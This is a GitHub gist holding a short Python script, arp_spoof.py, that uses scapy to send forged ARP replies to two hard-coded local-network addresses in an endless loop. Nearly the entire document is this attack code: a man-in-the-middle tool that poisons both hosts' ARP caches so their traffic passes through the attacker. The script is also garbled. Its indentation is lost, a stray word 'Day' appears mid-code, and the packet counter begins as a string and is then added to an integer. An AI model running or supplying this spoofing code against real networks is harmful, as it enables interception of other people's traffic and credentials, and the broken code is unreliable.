Skip to content

Instantly share code, notes, and snippets.

@highrider0602
Created August 5, 2021 10:03
Show Gist options
  • Save highrider0602/de3d7daa23c7e7a8930c1115f38e3935 to your computer and use it in GitHub Desktop.
Save highrider0602/de3d7daa23c7e7a8930c1115f38e3935 to your computer and use it in GitHub Desktop.
arp_spoof.py
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
Day
sent_packets_count = "0"
while True:
spoof("192.168.0.61", "192.168.0.53")
spoof("192.168.0.53", "192.168.0.61")
sent_packets_count = sent_packets_count + 2
print("[+] Packets sent: " + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment